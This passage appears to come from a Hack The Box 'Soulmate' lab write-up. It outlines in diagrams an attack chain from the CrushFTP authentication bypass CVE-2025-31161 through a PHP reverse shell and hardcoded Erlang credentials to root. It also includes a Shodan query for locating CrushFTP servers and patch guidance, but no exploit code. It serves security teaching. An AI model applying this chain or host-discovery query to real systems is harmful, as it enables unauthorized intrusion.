The vulnerable CrushFTP application was not necessarily obvious from the primary web application.

Virtual host enumeration revealed:

1
ftp.soulmate.htb

Without this step, the relevant attack surface could have been missed.

Therefore:

1
2
3
4
Port 80
   |
   v
One Website

should not automatically be assumed.

Instead:

1
2
3
4
5
6
7
8
9
10
11
12
Port 80
   |
   v
Web Server
   |
   +---- primary.example
   |
   +---- admin.example
   |
   +---- ftp.example
   |
   +---- internal.example

Virtual host discovery should be considered part of normal web enumeration where appropriate.


Shodan is Discovery, Not Proof

The query:

1
http.title:"CrushFTP"

can identify potential CrushFTP deployments.

It cannot establish:

1
CVE-2025-31161 vulnerable

The correct interpretation is:

1
2
3
4
5
6
7
Shodan Result
      |
      v
Technology Indicator
      |
      v
Potential Candidate

not:

1
2
3
4
Shodan Result
      |
      v
Confirmed Vulnerability

Authentication Bypass Changes the Attack Surface

Once authentication has been bypassed, the application should be enumerated again.

Before:

1
2
3
4
Unauthenticated
      |
      v
Limited Functionality

After:

1
2
3
4
5
6
Authenticated / Administrative Context
      |
      +--------+--------+--------+
      |        |        |        |
      v        v        v        v
    Files    Users    Config   Admin

New functionality may contain vulnerabilities or dangerous configuration choices that were previously inaccessible.


Enumerate Again After Every Foothold

This principle appears repeatedly throughout the lab.

After CVE exploitation:

1
Enumerate CrushFTP

After obtaining www-data:

1
Enumerate Linux

After discovering ben:

1
Enumerate user access

After reaching the internal SSH service:

1
Enumerate the Erlang environment

A useful general workflow is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Exploit
   |
   v
Gain New Access
   |
   v
Enumerate Again
   |
   v
Identify New Boundary
   |
   v
Exploit / Misconfiguration
   |
   v
Gain New Access
   |
   v
Enumerate Again

Read Custom Application Code

One of the most valuable discoveries was not produced by an automated privilege escalation scanner.

It came from reading:

1
/usr/local/lib/erlang_login/start.escript

The script immediately revealed:

1
2
3
4
5
6
7
Internal SSH service
        +
Port 2222
        +
Authentication methods
        +
Hardcoded credentials

Custom scripts, services and applications should therefore receive special attention.

They frequently contain assumptions and implementation mistakes that generic scanners cannot fully understand.


Local Services Are Part of the Attack Surface

The original network scan showed:

1
2
22
80

The local host showed substantially more.

Therefore:

1
ss -tulpn

can be one of the highest-value commands after gaining a Linux foothold.

Other useful commands include:

1
ss -lntp

and:

1
ps aux

The objective is not simply to collect output.

It is to identify trust boundaries that were inaccessible from the original network position.


Understand the Technology

The privilege escalation becomes much clearer after understanding that:

1
start.escript

starts:

1
Erlang SSH

and that:

1
os:cmd()

executes operating system commands from the Erlang runtime.

Understanding the technology is more valuable than blindly copying commands.

The progression becomes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Unknown :2222
     |
     v
Read Script
     |
     v
Erlang SSH
     |
     v
Understand Runtime
     |
     v
Identify Privileges
     |
     v
Privilege Escalation

A Better Testing Workflow

The methodology demonstrated in this article can be generalized.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
1. Scan the target
        |
        v
2. Identify exposed services
        |
        v
3. Enumerate hostnames
        |
        v
4. Enumerate virtual hosts
        |
        v
5. Fingerprint technologies
        |
        v
6. Research applicable vulnerabilities
        |
        v
7. Confirm affected versions
        |
        v
8. Validate vulnerabilities
        |
        v
9. Enumerate newly accessible functionality
        |
        v
10. Establish a foothold
        |
        v
11. Enumerate locally
        |
        v
12. Review custom services and scripts
        |
        v
13. Search for credential exposure
        |
        v
14. Identify privileged services
        |
        v
15. Assess privilege escalation

The most important concept is that enumeration is not a single phase.

A more realistic model is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Enumeration
    |
    v
Exploitation
    |
    v
Enumeration
    |
    v
Lateral Movement
    |
    v
Enumeration
    |
    v
Privilege Escalation

Complete Research Flow

The complete research process for Soulmate can be summarized as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
Nmap
  |
  v
10.129.231.23
  |
  +---- 22/tcp OpenSSH
  |
  +---- 80/tcp nginx
             |
             v
        soulmate.htb
             |
             v
            ffuf
             |
             v
       ftp.soulmate.htb
             |
             v
          CrushFTP
             |
             v
       CVE Research
             |
             v
      CVE-2025-31161
             |
             v
 Authentication Bypass
             |
             v
   New CrushFTP Account
             |
             v
   Administrative Access
             |
             v
       File Management
             |
             v
         PHP Upload
             |
             v
        Reverse Shell
             |
             v
          www-data
             |
             v
      Local Enumeration
             |
             v
      ss -tulpn
             |
             v
      127.0.0.1:2222
             |
             v
/usr/local/lib/erlang_login/
             |
             v
       start.escript
             |
             v
    Hardcoded Credentials
             |
             v
           ben
             |
             v
 ssh -p 2222 ben@localhost
             |
             v
      Erlang SSH Service
             |
             v
       ssh_runner Node
             |
             v
   Privileged Erlang Runtime
             |
       +-----+-----+
       |           |
       v           v
file:read_file   os:cmd
       |           |
       v           v
 /root access   Commands
                   |
                   v
                  root

Why This Flow Matters

It would be easy to summarize this machine as:

1
2
3
Run CrushFTP exploit
Upload shell
Get root

But doing so misses most of the security research value.

The more useful methodology is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Discover
   |
   v
Understand
   |
   v
Fingerprint
   |
   v
Research
   |
   v
Validate
   |
   v
Enumerate Again
   |
   v
Understand New Access
   |
   v
Find Next Trust Boundary
   |
   v
Repeat

CVE-2025-31161 provided the initial authentication bypass.

It did not directly provide root access.

Instead, it opened a new attack surface.

That new attack surface enabled file manipulation.

The resulting shell exposed local-only services.

Reviewing custom Erlang code exposed credentials.

Those credentials provided access to an unusual internal SSH implementation.

Understanding the Erlang runtime ultimately exposed a privilege escalation path.

The full progression is therefore:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
CrushFTP
   |
   v
CVE-2025-31161
   |
   v
Authentication Bypass
   |
   v
Administrative Access
   |
   v
File Upload
   |
   v
www-data
   |
   v
Internal Enumeration
   |
   v
Credential Discovery
   |
   v
ben
   |
   v
Erlang SSH
   |
   v
Privileged Runtime
   |
   v
root

This is considerably more useful than simply memorizing how to execute a public proof of concept.


Conclusion

CVE-2025-31161 demonstrates the potential impact of an authentication weakness in an Internet-facing managed file transfer application.

Affected CrushFTP releases include:

1
2
10.0.0 through 10.8.3
11.0.0 through 11.3.0

with patched releases beginning at:

1
2
10.8.4
11.3.1

At a high level, the vulnerability can be represented as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Unauthenticated Attacker
          |
          v
Crafted Authentication Request
          |
          v
CVE-2025-31161
          |
          v
Authentication Boundary Bypassed
          |
          v
Authenticated Context
          |
          v
Protected CrushFTP Functionality

The Hack The Box Soulmate environment demonstrates why the story does not necessarily end there.

The complete lab chain was:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Nmap
   |
   v
Virtual Host Enumeration
   |
   v
ftp.soulmate.htb
   |
   v
CrushFTP
   |
   v
CVE-2025-31161
   |
   v
Authentication Bypass
   |
   v
Administrative Access
   |
   v
File Upload
   |
   v
PHP Reverse Shell
   |
   v
www-data
   |
   v
Internal Service Enumeration
   |
   v
Hardcoded Credentials
   |
   v
ben
   |
   v
Erlang SSH Service
   |
   v
Privileged Erlang Runtime
   |
   v
root

For defenders, the immediate priority is to ensure that affected CrushFTP installations have been upgraded and to investigate previously exposed vulnerable instances for signs of exploitation.

For penetration testers and security researchers, the broader lesson is equally important:

An authentication bypass is not necessarily the end of an attack path. It may expose an entirely new attack surface.

After crossing the authentication boundary, enumerate again.

After gaining a shell, enumerate again.

After obtaining another user, enumerate again.

Each new level of access changes what can be seen and what can be reached.

That iterative process is what transforms a vulnerability check into a complete security assessment.


References

  • CVE: CVE-2025-31161
  • CWE: CWE-305
  • CVSS 3.1: 9.8 Critical
  • NVD: CVE-2025-31161
  • Huntress: CrushFTP CVE-2025-31161 Auth Bypass and Post Exploitation
  • CrushFTP Security Advisories
  • Immersive Labs Security: CVE-2025-31161 Proof of Concept
  • Hack The Box: Soulmate

Useful resources:

1
2
3
4
5
6
7
https://nvd.nist.gov/vuln/detail/CVE-2025-31161

https://www.huntress.com/blog/crushftp-cve-2025-31161-auth-bypass-and-post-exploitation

https://github.com/Immersive-Labs-Sec/CVE-2025-31161

https://www.shodan.io/search?query=http.title%3A%22CrushFTP%22

Shodan GUI query:

1
http.title:"CrushFTP"

Disclaimer

The techniques and examples in this article are intended for educational purposes, CTF environments, security research and authorized penetration testing only.

The practical examples were performed against the Hack The Box Soulmate environment.

Only perform security testing against systems that you own or for which you have explicit authorization.

Internet search engines such as Shodan can be used for passive technology discovery, but discovering a potentially affected product does not provide authorization to test or exploit that system.

This post is licensed under CC BY 4.0 by the author.